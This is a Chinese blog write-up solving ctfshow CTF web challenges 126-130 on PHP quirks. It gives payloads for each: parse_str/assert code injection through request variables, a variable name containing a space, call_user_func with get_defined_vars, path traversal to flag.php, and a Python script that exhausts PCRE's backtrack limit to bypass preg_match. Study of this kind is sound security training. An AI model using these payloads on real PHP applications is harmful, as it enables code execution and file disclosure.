• ctfshow web入门 php特性 web126-web130


    1.web126

    和前面一样的
    payload:

    get: a=1+fl0g=flag_give_me
    post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
    或
    get: ?$fl0g=flag_give_me
    post:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
    assert($a[0]) 是把fl0g赋值为flag_give_me $a[0]是当前脚本名
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.web127

    在这里插入图片描述
    发现使用字符(点,+,[)被过滤了,是不行的,但是空格没有被过滤
    payload:

    ?ctf show=ilove36d
    
    • 1

    3.web128

    在这里插入图片描述
    代码执行
    call_user_func

    call_user_func 
    (PHP 4, PHP 5, PHP 7)
    call_user_func — 把第一个参数作为回调函数调用
    说明 
    mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 
    
    参数 
    callback
    将被调用的回调函数(callable)。 
    parameter
    0个或以上的参数,被传入回调函数。 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    gettext

    string gettext( string $message) 返回输入的字符
    _()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dll
    
    echo gettext("Welcome to My PHP Application");
    
    • 1
    • 2
    • 3
    • 4

    get_defined_vars()

    get_defined_vars — 返回由所有已定义变量所组成的数组
    
    • 1

    payload:

    ?f1=_&f2=get_defined_vars
    
    • 1

    4.web129

    在这里插入图片描述

    stripos

    stripos 
    (PHP 5, PHP 7)
    stripos — 查找字符串首次出现的位置(不区分大小写)
    说明 
    mixed stripos( string $haystack, string $needle[, int $offset = 0] )
    返回在字符串 haystack 中 needle 首次出现的数字位置。 
    与 strpos() 不同,stripos() 不区分大小写。 
    
    
    参数 
    haystack
    在该字符串中查找。 
    needle
    注意 needle 可以是一个单字符或者多字符的字符串。 
    如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 
    offset
    可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 
    
    返回值 
    返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 
    如果未发现 needle 将返回 FALSE。 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    payload:

    ?f=/ctfshow/../../../../var/www/html/flag.php 
    
    • 1

    5.web130

    在这里插入图片描述
    .+?表示至少有一个字符
    1.正则最大回溯次数绕过
    PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
    回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
    python脚本

    import requests
    url=""
    data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4

    2.直接绕过

    f=ctfshow
    
    • 1

    php特性

  • 相关阅读:
    就推荐 4 个 yyds 的开源项目
    LeetCode 面试题 16.18. 模式匹配
    Oracle中instr,rtrim,XMLPARSE,XMLAGG,GETCLOBVAL函数的使用
    剪辑视频怎么把说话声音转成文字?
    公交车载视频监控系统概述
    全球与中国亚麻籽行业消费量调研及未来产销需求分析报告2022-2028年
    基于ThinkPHP5封装-tronapi-波场接口-源码无加密-可二开--附接口文档-作者详细指导-2022年6月30日08:45:27
    【车间调度】基于改进鲸鱼算法解决柔性车间调度多目标问题附matlab代码
    软考-图的遍历笔记
    【数据结构】用堆排序解决TOPK问题
  • 原文地址:https://blog.csdn.net/m0_62207170/article/details/133554763